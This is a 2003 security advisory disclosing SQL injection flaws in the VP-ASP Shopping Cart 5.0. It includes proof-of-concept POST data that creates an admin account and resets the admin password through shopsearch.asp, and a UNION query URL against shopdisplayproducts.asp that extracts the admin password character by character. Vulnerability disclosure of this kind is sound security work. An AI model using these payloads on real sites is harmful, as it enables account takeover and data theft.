       S-Quadra Advisory #2003-11-28

Topic: Virtual Programming VP-ASP Shopping Cart 5.0 multiple SQL 
Injection Vulnerabilities
Severity: Average
Vendor URL: http://www.vpasp.com
Advisory URL: http://www.s-quadra.com/advisories/Adv-20031128.txt
Release date: 28 Nov 2003


1. DESCRIPTION

Virtual Programming VP-ASP is a shopping cart application for e-commerce 
enabled sites.
It is written in ASP, supports the following databases: Access, MSSQL, 
MYSQL
on Windows and MYSQL on Unix.

VP-ASP suffers from SQL injection vulnerabilities, which may allow an 
attacker
in some cases to gain administrative access to the installed VP-ASP 
Shopping Cart software
or execute arbitrary commands on a target's system.

2. DETAILS

-- Vulnerability 1: SQL Injection vulnerability in 'shopsearch.asp' script

An SQL Injection vulnerability has been found in the shopsearch.asp script.
User supplied input is not filtered before being used in a SQL query. 
Consequently,
query modification using malformed input is possible. Exploitation of 
the vulnerability
allows a remote attacker to insert a new user with administrative 
privileges.
A more sophisticated exploitation would allow a remote attacker to 
execute arbitrary commands
on a target's system (via MSSQL xp_cmdshell() function for example).

-- PoC code 1:

Platform: Win32/MSSQL

Posting this data to shopsearch.asp creates new administrative account

Keyword=&category=5); insert into tbluser (fldusername) values 
('qasdew')--&SubCategory=&hide=&action.x=46&action.y=6
Keyword=&category=5); update tbluser set fldpassword='edsaqw' where 
fldusername='qasdew'--&SubCategory=All&action.x=33&action.y=6
Keyword=&category=3); update tbluser set fldaccess='1' where 
fldusername='qasdew'--&SubCategory=All&action.x=33&action.y=6

Posting this data to shopsearch.asp changes admin password

Keyword=&category=5); update tbluser set fldpassword='edsaqw' where 
fldusername='admin'--&SubCategory=All&action.x=33&action.y=6

-- Vulnerability 2: SQL Injection vulnerability in 
'shopdisplayproducts.asp' script

An SQL Injection vulnerability has been found in the 
shopdisplayproducts.asp script.
Exploitation of the vulnerability will allow remote attacker to read any 
information from a database.

-- PoC code 2:

Platform: Win32/MSSQL

http://somehost.com/vpasp/shopdisplayproducts.asp?cat=qwerty'%20union%20select%20fldauto,fldpassword%20from%20tbluser%20where%20fldusername='admin'%20and%20fldpassword%20like%20'a%25'--

changing value at the end of request
       %20'a%25'--
       %20'b%25'--
       %20'c%25'--
       ...
and looking through the HTTP response from VP-ASP web server attacker 
can find the admin password.
